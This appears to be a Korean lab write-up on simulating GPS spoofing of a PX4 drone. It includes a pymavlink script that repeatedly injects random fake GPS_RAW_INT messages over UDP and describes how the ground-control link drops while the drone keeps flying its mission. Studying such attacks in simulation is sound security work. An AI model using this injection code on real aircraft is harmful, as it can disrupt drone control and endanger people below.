시물레이션으로 모사하는 방법에 대하여 기술

방법1(MAVLINK사용)

Untitled

MAVLINK란

MAVLINK(Micro Air Vehicle Link)는 무인 항공 기기(UAV)와 지상 기기 사이의 통신 프로토콜입니다. 주로 드론 및 기타 무인 항공 기기의 제어와 상태 모니터링을 위해 사용됩니다.

또한 우분투 상에서 px4 와 연동하여 px4 모델의 센서값을 변경할 수 있습니다.

(본 실습에서는 GPS_INT라는 센서값을 변경)

코드는 가짜 GPS 데이터를 생성하여 MAVLINK 메시지로 PX4에게 전송하는 역할을 합니다.

MAVLINK 제어 코드

from pymavlink import mavutil
import time
import random

# PX4 자율 비행 시뮬레이션에 연결
master = mavutil.mavlink_connection('udpin:0.0.0.0:14550')

# 메인 루프
while True:
    # 가짜 GPS 데이터 생성
    lat = random.uniform(-90, 90)  # 위도 (-90에서 90도 사이)
    lon = random.uniform(-180, 180)  # 경도 (-180에서 180도 사이)
    alt = random.uniform(0, 500)  # 고도 (0에서 500미터 사이)

    # GPS_RAW_INT 메시지 생성
    msg = master.mav.gps_raw_int_encode(
        time_usec=int(time.time() * 1e6),  # 마이크로초 단위 타임스탬프
        fix_type=3,  # 3D GPS 고정
        lat=int(lat * 1e7),  # 위도를 도 단위에서 1e7을 곱한 값
        lon=int(lon * 1e7),  # 경도를 도 단위에서 1e7을 곱한 값
        alt=int(alt * 1e3),  # 고도를 미터 단위에서 1e3을 곱한 값
        satellites_visible=10,  # 볼 수 있는 위성 수
        eph=300,  # GPS 수평 위치 정확도 (센티미터 단위)
        epv=500,  # GPS 수직 위치 정확도 (센티미터 단위)
        vel=0,  # GPS 지면 속도 (정지 상태이므로 0으로 설정)
        cog=0,  # 지면을 따라서 이동하는 각도 (정지 상태이므로 0으로 설정)
    )
    
    print("Start GPS_spoofing")

    # 메시지 송신
    master.mav.send(msg)

    # 잠시 대기 (예: 1초)
    time.sleep(1)

Untitled

좌)스푸핑전 우)스푸핑 진행중

GPS 스푸핑이 시작되면 QGroundControl(QGC)과 드론 간의 통신이 끊어지며, 드론은 QGC에서 설정된 미션을 수행하기 시작합니다. 통신이 다시 연결될 때까지 드론은 미션을 계속 수행하며, 정지된 상태에서 스푸핑이 진행되면 제자리에서 호버링을 유지합니다. 사진은 GPS 스푸핑 중에도 드론이 미션을 수행하는 모습을 보여주며, 스푸핑이 중단되면 드론과 QGC 간의 통신은 정상적으로 복구됩니다.

GPS 스푸핑 시 드론과 지상 통제 시스템(GCS) 간의 연결이 끊어집니다. 이는 GCS가 드론이 통신 반경을 벗어났다고 인식하기 때문입니다. 이로 인해 상대방은 드론을 조종할 수 없게 됩니다. 하지만 조종기를 통한 직접 조종은 여전히 가능할 것으로 예상됩니다. QGC에서 설정된 경로는 GPS 스푸핑이 발생하더라도 계속 진행됩니다. 이는 드론이 GPS가 아닌 내장된 비행 알고리즘을 통해 모터 등을 조종하기 때문입니다.